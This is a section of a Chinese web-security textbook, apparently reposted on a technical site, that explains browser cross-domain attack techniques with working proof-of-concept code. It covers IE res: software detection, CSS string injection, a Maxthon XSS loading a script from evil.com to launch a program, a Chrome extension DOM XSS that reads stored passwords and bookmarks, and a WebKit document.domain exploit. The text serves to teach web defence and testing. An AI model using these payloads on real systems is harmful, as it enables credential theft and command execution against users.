7.6 一些跨域操作技术
这里介绍的几乎都是由于浏览器相关缺陷而导致的跨域风险,有些已经修补,但是比较有代表性,可以举一反三。有的跨域技术带来的风险非常大,是一种很难得的漏洞。
7.6.1 IE res:协议跨域
“知道创宇”安全研究团队在2008年的xKungFoo上公布了很多独立研究的网马技巧,其中就包括IE res:协议跨域探测本地域是否存在目标软件的POC,这类技巧在公布前实际上存在已久,但并没有被广泛提及。2011年,Google Gmail被攻击事件就用到了这个POC,代码如下:
<script> //////////////////////////////////////////////////////// //Name: img标签远程域检测本地域软件是否存在poc //Description: IE浏览器都有效 //Author: Knownsec Team //Date: 2008-11-03 //////////////////////////////////////////////////////// knownImg = {} knownImg.resList = [ //数组中填写本地软件id值与图片地址值(res协议或file协议) {id: 'Avira', res: 'res://C:\\Program%20Files\\Avira\\AntiVir%20Personal Edition%20Classic\\setup.dll/#2/#132'}, {id: 'baidu', res: 'res://C:\\Program%20Files\\baidu\\Baidu%20Hi\\BaiduHi.exe/#2/#152'}, {id: 'Super Rabbit', res: 'res://C:\\Program%20Files\\Super%20Rabbit\\MagicSet\\timedate.exe/#2/BBNO'}, {id: '365Menshen', res: 'res://C:\\Program%20Files\\365Menshen\\menshen.exe/#2/#227'}, {id: 'quicktime', res: 'res://c:\\program%20files\\quicktime\\quicktimeplayer.exe/#2/#403'} ]; knownImg.ok_resList = new Array(); //确认软件存在时,填入此数组 knownImg.tmp_resList = new Array(); knownImg.checkSoft = function(){ //检测函数 if (document.all){ x = new Array(); for (i = 0; i < knownImg.resList.length; i++){ x[i] = new Image(); x[i].src = ""; knownImg.ok_resList.push(knownImg.resList[i].id); //将resList里的id值依次扔进ok_resList数组中 x[i].onload = function(){ //alert(knownImg.resList[i].id + ': return true'); } x[i].onerror = function(){ //alert(knownImg.resList[i].id + ': return false'); knownImg.ok_resList.pop(); //软件不存在时,从ok_resList数组弹出对应的id值 } x[i].src = knownImg.resList[i].res; } } } knownImg.checkSoft(); alert(knownImg.ok_resList); //弹出 document.write('你的系统中存在以下软件:<br />'+knownImg.ok_resList.join('<br />')); </script>
7.6.2 CSS String Injection跨域
IE下出现过一个CSS解析的跨域漏洞,罪魁祸首其实是CSS的高容错性和一个便捷的DOM操作接口,通过它们可以直接获取目标CSS区域的内容。
参考下面(《白帽子讲Web安全》的作者吴翰清)给出的样例,www.a.com/test.html代码如下:
<body> {}body{font-family: aaaaaaaaaaaaaa bbbbbbbbbbbbbbbb </body>
攻击者页面www.b.com/test2.html的代码如下:
<style> @import url("http://www.a.com/test.html"); </style> <script> setTimeout(function(){ var t = document.body.currentStyle.fontFamily; alert(t); },2000); </script>
被攻击者访问攻击者的页面时,弹出信息如图7-7所示。
图7-7 CSS String Injection效果
这是一个非常有趣的跨域技巧,@import方式导入外域CSS文件本身是一个正常的行为,然后IE通过document.body.currentStyle.fontFamily方式访问目标样式的font-family属性,它的值恰好是font-family之后的所有内容,这是CSS高容错性导致的(这在2.6.1节中已提过)。
7.6.3 浏览器特权区域风险
浏览器为了支持更多方便的功能,往往需要有一些特权区域存在,这些特权是相对浏览器Inter-net域来说的,比如,扩展、插件能够和本地系统打交道,一些功能页面也具备和本地系统等打交道的能力。
如果我们的XSS能够跨到这些特权区域里,那么就能够做很多更大权限的操作,这个过程叫做Cross Zone Scripting或Cross Context Script-ing(简称XCS)。
举个经典的例子,傲游浏览器3存在远程命令执行漏洞,原因是因为傲游浏览器默认主页i.max-thon.cn是一个特权页面,且存在XSS可以直接控制该特权页面进行任意操作,我们按F12键打开开发者工具,可以看到一些特权API,如图7-8所示。
在图7-8中,有两大全局对象包含丰富的API:maxthon与mxapi。下面看看maxthon对象,如maxthon.program.Program.launch API可以这样使用:
maxthon.program.Program.launch("calc.exe","C:\\windows\\system32\\");
执行这条语句时,可以打开一个计算器。再如mxapi.favorites.list API,可以获取收藏夹里保存的链接:
mxapi.favorites.list();
有这些特权API存在,同时我们还发现了i.maxthon.cn上的XSS:
http://api.i.maxthon.cn/feedback/feed-back.php?callback=%3Cscript%20src=http://www.evil. com/exp.js%3E%3C/script%3E
图7-8 maxthon特权API
请求时,页面输出:
<script src=http://www.evil.com/exp.js></script>({"code":1,"message":"\u53cd \u9988\u5185\u5bb9\u4e3a\u7a7a"})
exp.js的代码如下:
maxthon.program.Program.launch("calc.exe","C:\\windows\\system32\\");
我们可以将这个XSS链接以iframe形式进入我们控制的网页中,当触发XSS时,就执行了系统命令,如图7-9所示。
图7-9 maxthon远程命令执行0day截图
7.6.4 浏览器扩展风险
浏览器为了丰富自身的功能,允许第三方提供各类插件或扩展,但这些扩展的权限如果没有控制好,就会带来很严重的后果。举一个经典的例子:Chrome扩展带来的安全风险,Chrome浏览器Speed Dial 2(快速拨号)应用存在DOM XSS,通过这个XSS可以越权操作,导致各种严重的信息泄漏问题。
Speed Dial 2会将用户访问的链接信息等存储在localStorage中,其中有一个关键字是_closed_tabs,这个关键字的值存储了最近关闭的链接信息,如:url、title,其中title如果存在恶意脚本,就会触发DOM XSS。
比如,访问speeddial2.html文件,代码如下:
<title>123'"><script>alert(1)</script>456</title> speed dail 2 localStorage dom xss
然后关闭,当新建标签时,会看到弹出数字1,如图7-10所示。
图7-10 Speed Dial 2 XSS
按F12键打开开发人员工具,查看Resources→Local Storage,如图7-11所示。
图7-11 Chrome F12查看Local Storage
可以看到title的值是:
123'\"><script>alert(1)</script>456
上面这个title值由下面这个js文件来执行:
chrome-extension://jpfpebmajhhopeonhlcgidhclcccjcik/js_system/sidebar.history.js
代码片段如下:
var closedTabs = JSON.parse(localStorage["_closed_tabs"]); if (!closedTabs) return false; for (var i=closedTabs.length-1; i >= 0; i--) { var li = document.createElement('li'); var a = document.createElement('a'); a.setAttribute('href',closedTabs[i].url); a.innerHTML = ( closedTabs[i].title ? '<b>'+closedTabs[i].title+'</b>' : '<b>No title</b>' ) + '<br />'; li.style.backgroundImage = 'url(chrome://favicon/'+ closedTabs[i].url+')'; li.setAttribute('class','openurl'); li.setAttribute('rel',closedTabs[i].url); li.appendChild(a); $('#history ul#history_items').append(li); };
就这样触发了DOM XSS。触发DOM XSS后,可进行以下操作。
1)偷取用户Speed Dial 2的账户和密码
这个账户和密码用于同步Speed Dial 2中的各种信息,如:拨号网址、分组信息、设置等。当开启了同步功能后,Speed Dial 2的账户和密码也会存储一份到localStorage中,可以通过下面的方法得到:
localStorage.getItem('options.sync.username'); localStorage.getItem('options.sync.password');
在类似下面这样的安装目录下可以找到这个扩展应用的源文件:
C:\Users\xxx\AppData\Local\Google\Chrome\UserData\Default\Extensions\ jpf-pebmajhhopeonhlcgidhclcccjcik\1.6.0.8_0
我们查看manifest.json配置文件可以看到这个扩展的权限:
"permissions": [ "bookmarks", "tabs", "history", "management", "unlimitedStorage", "chrome://favicon/", "http://*/", "https: //*/", "contextMenus", "notifications" ],
这是一种特别不安全的授权,利用前面那个DOM XSS可以进行许多危险的操作,比如获取所有的书签,简单的代码如下:
chrome.bookmarks.getTree(function(o){ console.log(o[0].children[0].children[2].children[1].url) })
2)进行跨域请求,比如请求Google账号的网络历史记录
var xhr = new XMLHttpRequest(); xhr.open("GET", "https://www.google.com/history/", true); // 请求Google搜索的网络历史记录 xhr.onreadystatechange = function() { if (xhr.readyState == 4) { document.write(xhr.responseText); } } xhr.send();
这样的跨域请求危害非常大,在满足攻击的场景下,可以盗取、篡改目标用户任意网站的数据。实际上,这个插件的权限不应该设置这么大。
7.6.5 跨子域:document.domain技巧
跨子域:document domain技巧非常好用,属于浏览器的性质。现在很多网站把不同的子业务放到不同的子域下,比如:
www.foo.com app.foo.com blog.foo.com message.foo.com
但是这些子域下总会存在一个类似proxy.html的文件,这个文件有如下代码:
<script>document.domain="foo.com";</script>
有一个合法的性质是:这个页面可以设置doc-ument.domain为当前子域或比当前子域更高级的域。一般顶级就到了根域,如果设置为其他域,浏览器就会报权限错误。
根据这个性质,我们做了一个测试样本,这个测试样例利用WebKit内核浏览器的一个缺陷(由sog1发现),导致顶级的域是域名后缀,比如foo.com的域名后缀是com。
以下样例在Chrome下访问,测试样本有4个文件:readme.txt、attack.htm、poc.js和proxy.htm。将这4个文件放到Web服务的/proxy/目录下,readme.txt的内容如下:
设置hosts:
127.0.0.1 www.evil.com 127.0.0.1 user.proxy.com
原理:
设置:document.domain='com';
在webkit内核下,任意跨了。
访问http://www.evil.com/proxy/attack.htm
attack.htm的代码如下:
<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> </head> <body></body> <script> document.domain="com"; // 设置域为WebKit认为的顶级域 function inj_iframe(src,onload){ /*注入框架*/ var o = document.createElement("iframe"); o.src = src; o.width = o.height = 300; o.id="proxy"; if(onload) o.onload = onload; // iframe加载完成后执行onload函数 document.getElementsByTagName("body")[0].appendChild(o); return o; } function inject(){ var d = document.getElementById("proxy").contentDocument || document. getElementById("proxy").contentWindow.document //d.write('123'); var x = d.createElement("SCRIPT"); x.src ="http://www.evil.com/proxy/poc.js"; // 注入poc.js文件 x.defer = true; d.getElementsByTagName("HEAD")[0].appendChild(x); } // iframe方式请求proxy.htm文件,来自user.proxy.com域 var o = inj_iframe("http://user.proxy.com/proxy/proxy.htm",inject); </script> </html>
proxy.htm的代码如下:
<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <script> getTransport = function() { var xmlHttp; if (window.ActiveXObject) { xmlHttp = new ActiveXObject('Microsoft.XMLHTTP'); } else if (window.XMLHttpRequest) { xmlHttp = new XMLHttpRequest(); } return xmlHttp; }; document.domain="com"; // 主要是这里,user.proxy.com的proxy.htm也将自己的域设置为com alert("proxy.htm: "+document.domain); </script> </head> <body> i am proxy.htm </body> </html>
当attack.htm通过iframe方式载入不同域的proxy.htm后,由于document.domain值是一样的,都是com。对浏览器来说,这其实就是合法的,不受同源策略限制后,就可以成功地往proxy.htm上下文注入poc.js文件:
alert(document.domain+" | poc.js"); xhr = getTransport(); function req(method,src,argv){ xhr.open(method,src,false); if(method=="POST") xhr.setRequestHeader("Content-Type","application/x-www-form-urlencoded"); xhr.send(argv); return xhr.responseText; } // 因在proxy.htm上下文执行这段代码,那么请求proxy.htm所在域的任何内容也就变得合法了 x = req("GET","http://user.proxy.com/proxy/proxy.htm"); alert(x); // 弹出proxy.htm的内容
最后,弹出proxy.htm内容的效果如图7-12所示。
图7-12 WebKit下跨子域效果
这种跨子域的问题在Web 2.0网站上几乎是常态,有的网站的设置不通过proxy.html文件,而是在任意页面都嵌入公共的js文件,在这个js文件里设置document.domain为顶级域,这样的做法给XSS攻击带来了巨大便利,即只要在任意一个子域下找到XSS漏洞,都能危害到目标页面。
7.6.6 更多经典的跨域索引
1. 利用UNC“跨域”
superhei写的一篇文章《走向本地的邪恶之路》,文章地址是:
http://www.80vul.com/webzine_0x05/0x06 走向本地的邪恶之路.html
大意是通过Internet域(http协议)的代码,比如<iframe>标签利用file协议调用本地的XSS漏洞页面,并通过这个本地XSS执行任意的JavaScript代码,由于是file协议,权限会更大,比如,利用AJAX读取本地文件。
测试中发现IE可以通过UNC方式(“统一命名约定”地址用于确定保存在网络服务器上的文件位置)访问本地文件,如:
file:////127.0.0.1/c$/
由于是UNC方式,浏览器以为这是Internet域,就允许访问,这样实际上就跨协议了(http协议跨到file协议)。如果本地文件存在XSS漏洞,就可以被调用触发。关于这部分的详情,可以参superhei写的这篇文章。
2. mhtml:协议跨域
暗夜潜风写的《IE下MHTML协议带来的跨域危害》也是跨域攻击的经典,文章地址是:
http://www.80vul.com/webzine_0x05/0x05 IE下MHTML协议带来的跨域危害.html
这篇文章已写得足够详细,大家可以参考其中的内容,并参考superhei之后发表的:结合mhtml跨域漏洞的各种利用技巧《Hacking with mhtmlprotocol handler》,网址为:
http://www.80vul.com/mhtml/Hacking with mhtml protocol handler.txt
这个漏洞已经被修补,如果现在还要测试,可以安装WinXP虚拟机,在IE 6环境下直接测试即可。
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论